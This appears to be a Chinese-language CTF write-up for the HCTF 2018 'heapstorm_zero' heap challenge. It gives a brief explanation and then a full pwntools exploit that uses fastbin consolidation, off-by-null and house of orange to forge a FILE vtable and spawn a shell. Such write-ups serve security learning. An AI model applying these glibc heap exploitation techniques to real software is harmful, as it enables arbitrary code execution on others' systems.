Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

hctf 2018 heapstorm_zero

发表于 更新于
本文字数： 4k 阅读时长 ≈ 4 分钟

本题的关键主要在于通过scanf()调用malloc()申请一个large bin从而触发fastbin的合并获取unsorted bin。当获得了unsorted bin后，就是常规的off by null和house of orange题了。

本题另一麻烦的地方就是在做house of orange时修改unsorted bin的size，需要利用chunk的重叠来实现（在off by null和unlink时，会产生能够利用的指针）。感觉还是tcl，exp写了140行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# coding=utf-8
from pwn import *


def Allocate(p, size, content):
    p.sendlineafter('Choice:', str(1))
    p.sendlineafter('size:', str(size))
    p.sendafter('content:', content)


def Show(p, idx):
    p.sendlineafter('Choice:', str(2))
    p.sendlineafter('index:', str(idx))


def Delete(p, idx):
    p.sendlineafter('Choice:', str(3))
    p.sendlineafter('index: ', str(idx))


def pwn():
    BIN_PATH = './heapstorm_zero'
    DEBUG = 1
    context.arch = 'amd64'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')

    for i in range(0x19):
        if i == 7:
            Allocate(p, 0x33, '\x00' * 0x30 + '\x00\x01\n')
        elif i == 15:
            Allocate(p, 0x10, '\n')
        else:
            Allocate(p, 0x30, '\n')

    Allocate(p, 0x10, '\n')
    Allocate(p, 0x20, '\n')
    Allocate(p, 0x30, '\n')

    for i in range(4, 9):
        Delete(p, i) # 4 5 6 7 8

    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n')
    Delete(p, 3) # 3

    payload = 'a' * 0x38
    Allocate(p, 0x38, payload) # 3

    Allocate(p, 0x20, '\n') # 4
    Allocate(p, 0x20, '\n') # 5
    Allocate(p, 0x20, '\n') # 6

    Delete(p, 4)
    Delete(p, 9)
    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n')
    Allocate(p, 0x20, '\n')
    Allocate(p, 0x30, '\n')
    Allocate(p, 0x20, '\n')
    Allocate(p, 0x20, '\n')

    Show(p, 6)
    p.recvuntil('Content: ')
    recv = p.recv(6)
    libc.address = u64(recv + '\x00\x00') - (0x7ffff7dd1b78 - 0x7ffff7a0d000)

    for i in range(0x15, 0x15+6):
        Delete(p, i)
    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n')

    Delete(p, 9)
    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n')

    Show(p, 5)
    p.recvuntil('Content: ')
    recv = p.recv(6)
    heap_chunk_base = u64(recv + '\x00\x00') - 0x540
    Allocate(p, 0x20, '\n')
    Delete(p, 27)
    for i in range(11, 21):
        Delete(p, i)
    for i in range(0, 4):
        Delete(p, i)
    Delete(p, 8)
    Delete(p, 9)
    Delete(p, 10)
    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n') # clear the chunk

    # Attack

    for i in range(0, 5):
        Allocate(p, 0x37, 'sunichi\n')
    Allocate(p, 0x10, 'sunichi\n')
    for i in range(10):
        Allocate(p, 0x37, 'sunichi\n')
    for i in range(0, 4):
        Delete(p, i)
    Delete(p, 8)
    Delete(p, 9)
    Delete(p, 10) # 10 -> fake file structure
    Allocate(p, 0x37, 'sunichi!\x31\n') # 10
    p.sendline('1' * 0x500)
    p.recvuntil('Invaild choice!\n') # get unsorted bin

    # make 0x60 unsorted bin

    for i in range(4):
        Allocate(p, 0x37, 'sunichi\n')
    payload = p64(0) * 4 + p64(0) + p64(0x41)
    Allocate(p, 0x37, payload + '\n')
    Delete(p, 5)
    payload = '/bin/sh\x00' + p64(0x61)
    payload += p64(libc.address + (0x7ffff7dd1b20 - 0x7ffff7a0d000)) + p64(libc.symbols['_IO_list_all'] - 0x10)
    payload += p64(0x20) + p64(0x40)
    Allocate(p, 0x37, payload + '\n')
    Delete(p, 0)
    Allocate(p, 0x37, '\x00' * 0x37 + '\n')
    Delete(p, 11)
    Allocate(p, 0x37, '\x00' * 0x37 + '\n')
    Delete(p, 12)
    payload = p64(0) * 5 + p64(heap_chunk_base + (0x555555757230 - 0x555555756fe0))
    Allocate(p, 0x37, payload + '\n') # vtable
    Delete(p, 13)
    payload = p64(0) + p64(1) + p64(2) + p64(libc.symbols['system'])
    Allocate(p, 0x37, payload + '\n')

    p.sendlineafter('Choice:', str(1))
    p.sendlineafter('size:', str(0x17))

    p.interactive()
    p.close()


if __name__ == '__main__':
    pwn()